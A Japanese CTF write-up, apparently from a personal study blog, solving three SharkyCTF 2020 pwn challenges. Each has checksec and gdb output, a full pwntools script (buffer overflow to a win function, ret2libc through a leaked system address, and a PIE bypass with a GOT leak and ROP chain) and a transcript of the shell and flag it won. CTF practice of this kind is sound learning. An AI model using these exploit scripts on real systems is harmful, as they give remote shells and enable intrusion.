kanyewest CTF

勉強したことをメモしています。

SharkyCTF【Write-up】

Give away 0

$ file 0_give_away 
0_give_away: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e0fb611b13ac822d3074696fb8bb10ea80c05882, not stripped
$ checksec.sh --file=./0_give_away                          
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFYFortified        Fortifiable  FILE                       
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   71 Symbols     No      01       ./0_give_away

execve("/bin/sh",0,0)を実行してくれる関数が用意されてるのでBOFしてそこに飛ばすだけです。

from pwn import *

e = ELF('./0_give_away')
#p = process('./0_give_away')
p = remote('sharkyctf.xyz',20333)
ret_addr = 0x0040050e
win_addr = e.symbols['win_func']

payload = 'A'*40
payload += p64(win_addr)

p.sendline(payload)
p.interactive()
$ python solve.py 
[*] '/Sharky_CTF_2020/Give_away_0/0_give_away'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to sharkyctf.xyz on port 20333: Done
[*] Switching to interactive mode
$ id
uid=1000(pwnuser) gid=1001(pwnuser) groups=1001(pwnuser),1000(ctf)
$ ls
0_give_away
flag.txt
start.sh
$ cat flag.txt
shkCTF{#Fr33_fL4g!!_<3}

Give away 1

$ file give_away_1 
give_away_1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b72e93281e97df94bf8362d5cf5a29f55accb8a, not stripped
$ checksec.sh --file=./give_away_1 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFYFortified        Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   78 Symbols     No      02       ./give_away_1

実行してみるとなにかのアドレスが出力されています。

gdbで何か確認してみるとsystem関数のようです。

──────────────────────[ DISASM ]───────────────────────
   0x5655570f <main+31>    sub    esp, 8
   0x56555712 <main+34>    mov    eax, dword ptr [ebx + 0x20]                                                 
   0x56555718 <main+40>    push   eax
   0x56555719 <main+41>    lea    eax, [ebx - 0x17fc]
   0x5655571f <main+47>    push   eax
 ► 0x56555720 <main+48>    call   printf@plt <0x565554c0>                                                     
        format: 0x565557c0 ◂— 'Give away: %p\n'
        vararg: 0xf7e088b0 (system) ◂— endbr32 
 
   0x56555725 <main+53>    add    esp, 0x10
   0x56555728 <main+56>    call   vuln <0x565556bd>
 
   0x5655572d <main+61>    mov    eax, 0
   0x56555732 <main+66>    lea    esp, [ebp - 8]
   0x56555735 <main+69>    pop    ecx
pwndbg> 

libcも用意されているのでlibcのsystem関数のアドレスと出力されてるsystem関数のアドレスのオフセットを求めればlibcがリークできます。 あとはそれを元にsystem("/bin/sh")を用意するだけです。

from pwn import *

e = ELF('./give_away_1')
p = remote('sharkyctf.xyz',20334)
libc = ELF('./libc-2.27.so')

print p.recvuntil('Give away: ')
ret = int(p.recvline(),16)

libc_base_addr = ret - libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr

payload = 'A'*36
payload += p32(ret)
payload += 'AAAA'
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()
$ python solve.py 
[*] '/Sharky_CTF_2020/Give_away_1/give_away_1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to sharkyctf.xyz on port 20334: Done
[*] '/Sharky_CTF_2020/Give_away_1/libc-2.27.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Give away: 
[*] Switching to interactive mode
$ id
uid=1000(pwnuser) gid=1001(pwnuser) groups=1001(pwnuser),1000(ctf)
$ ls
flag.txt
give_away_1
start.sh
$ cat flag.txt
shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}

Give away 2

$ file give_away_2 
give_away_2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c93b7c4ff1a036cb291045d3ab76155d22ce1a6, not stripped
$ checksec.sh --file=./give_away_2 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFYFortified        Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   73 Symbols     No      02       ./give_away_2

PIE有効なのは面倒そうだと思いながら実行してみるとまたなにかのアドレスが出力されています。

$ ./give_away_2 
Give away: 0x55be73c68864

gdbでなんのアドレスか確認します。

──────────────────────[ DISASM ]───────────────────────
   0x555555554868 <main+4>     mov    eax, 0
   0x55555555486d <main+9>     call   init_buffering <0x5555555547e0>                                         
 
   0x555555554872 <main+14>    lea    rsi, [rip - 0x15] <0x555555554864>
   0x555555554879 <main+21>    lea    rdi, [rip + 0xa4]
   0x555555554880 <main+28>    mov    eax, 0
 ► 0x555555554885 <main+33>    call   printf@plt <0x555555554690>                                             
        format: 0x555555554924 ◂— 'Give away: %p\n'
        vararg: 0x555555554864 (main) ◂— push   rbp
 
   0x55555555488a <main+38>    mov    eax, 0
   0x55555555488f <main+43>    call   vuln <0x555555554841>                                                   
 
   0x555555554894 <main+48>    mov    eax, 0
   0x555555554899 <main+53>    pop    rbp
   0x55555555489a <main+54>    ret    

main関数がリークされているのでこれを元にオフセットを求めればPIEを無効にできます。あとはGive away 1と同じく適当なGOTからlibcをリークしてsystem("/bin/sh")を実行するだけです。

from pwn import *

e = ELF('./give_away_2')
p = remote('sharkyctf.xyz',20335)
libc = ELF('./libc-2.27.so')

print p.recvuntil('Give away: ')
ret = int(p.recvline(),16)
proc_base_addr = ret - e.symbols['main']

ret_addr = 0x00000676 + proc_base_addr
pop_rdi_addr = 0x00000903 + proc_base_addr

payload = 'A'*40
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(e.got['printf'] + proc_base_addr)
payload += p64(e.symbols['printf'] + proc_base_addr)
payload += p64(e.symbols['_start'] + proc_base_addr)

p.sendline(payload)
ret = u64(p.recvline()[:6] + '\x00\x00')

libc_base_addr = ret - libc.symbols['printf']
system_addr = libc.symbols['system'] + libc_base_addr
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr

payload = 'A'*40
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()
$ python solve.py 
[*] '/Sharky_CTF_2020/Give_away_2/give_away_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to sharkyctf.xyz on port 20335: Done
[*] '/Sharky_CTF_2020/Give_away_2/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Give away: 
[*] Switching to interactive mode
$ id
uid=1000(pwnuser) gid=1001(pwnuser) groups=1001(pwnuser),1000(ctf)
$ ls
flag.txt
give_away_2
start.sh
$ cat flag.txt
shkCTF{It's_time_to_get_down_to_business}